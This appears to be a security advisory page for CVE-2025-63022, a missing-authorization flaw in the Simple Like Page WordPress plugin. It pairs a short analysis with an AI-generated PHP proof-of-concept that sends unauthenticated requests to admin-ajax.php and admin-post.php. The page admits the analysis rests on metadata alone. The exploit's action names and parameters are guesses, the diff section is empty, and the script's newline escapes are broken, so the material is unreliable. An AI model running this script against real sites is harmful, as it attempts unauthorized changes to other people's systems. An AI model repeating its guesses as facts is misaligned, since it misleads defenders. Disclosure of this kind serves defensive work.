Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-63022: Simple Like Page <= 1.5.3 – Missing Authorization (simple-facebook-plugin)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.5.3
Patched Version
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-63022 (metadata-based):
The Simple Like Page plugin for WordPress versions up to and including 1.5.3 contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to trigger a privileged administrative function, leading to unauthorized actions. The CVSS score of 5.3 (Medium) reflects a network-accessible attack requiring no user interaction or special privileges, with low impact on integrity but no confidentiality or availability impact.

CWE-862 (Missing Authorization) indicates the plugin fails to verify user capabilities before executing a sensitive function. The vulnerability description confirms the absence of a capability check on a specific function. Atomic Edge research infers this function is likely registered as a WordPress AJAX handler or admin-post endpoint accessible without authentication. The plugin’s slug ‘simple-facebook-plugin’ suggests the vulnerable endpoint may involve Facebook page like operations. Without source code, this assessment is based on common WordPress plugin patterns where administrative actions are exposed via hooks without proper authorization.

Exploitation involves sending a crafted HTTP request to the WordPress AJAX or admin-post handler. Attackers target the `/wp-admin/admin-ajax.php` endpoint with an `action` parameter corresponding to the vulnerable function. The payload contains parameters required by the function, such as page IDs or configuration settings. No authentication or nonce is required. A typical request uses POST method: `POST /wp-admin/admin-ajax.php` with body `action=simple_facebook_plugin_action&param=value`. Attackers can also use GET requests if the function accepts them.

Remediation requires adding a proper capability check before executing the sensitive function. The patched version 2.0.0 likely implements `current_user_can()` with appropriate capabilities like `manage_options` or a custom capability. The fix should also include nonce verification for state-changing operations. WordPress best practices dictate checking both capabilities and nonces for all administrative functions exposed via AJAX or admin-post endpoints.

Successful exploitation allows unauthenticated attackers to perform unauthorized administrative actions. The exact impact depends on the vulnerable function’s purpose. Atomic Edge analysis suggests possible outcomes include modifying plugin settings, resetting like counts, or manipulating Facebook page associations. This could disrupt site functionality or social media integrations. The vulnerability does not permit direct code execution, file access, or privilege escalation beyond the plugin’s administrative scope.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

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PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-63022 - Simple Like Page <= 1.5.3 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-63022
 * Targets Simple Like Page plugin <= 1.5.3
 * Assumptions based on metadata:
 * 1. Vulnerable function is exposed via admin-ajax.php
 * 2. No capability check or nonce verification required
 * 3. Action name likely contains 'simple_facebook_plugin' or 'simple_like_page'
 * 4. Function may accept parameters like 'page_id' or 'settings'
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common AJAX action patterns for this plugin
$possible_actions = [
    'simple_facebook_plugin_update',
    'simple_like_page_save',
    'simple_facebook_plugin_action',
    'slp_update_settings',
    'simple_facebook_like_action'
];

foreach ($possible_actions as $action) {
    $url = $target_url . '/wp-admin/admin-ajax.php';
    
    // Try POST request first (common for state-changing actions)
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => $action,
            'page_id' => '123456789',  // Common parameter for Facebook page operations
            'settings' => 'modified_value'
        ]),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Testing action: {$action}n";
    echo "HTTP Status: {$http_code}n";
    echo "Response: {$response}nn";
    
    // Also test GET request
    $ch = curl_init();
    $get_url = $url . '?' . http_build_query(['action' => $action]);
    curl_setopt_array($ch, [
        CURLOPT_URL => $get_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "GET test for: {$action}n";
    echo "HTTP Status: {$http_code}n";
    echo "Response: {$response}nn";
    echo str_repeat('-', 50) . "nn";
}

// Test admin-post.php endpoint as alternative
$admin_post_url = $target_url . '/wp-admin/admin-post.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $admin_post_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'simple_facebook_plugin_action'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
    CURLOPT_TIMEOUT => 10
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Testing admin-post.php endpointn";
echo "HTTP Status: {$http_code}n";
echo "Response: {$response}n";
?>

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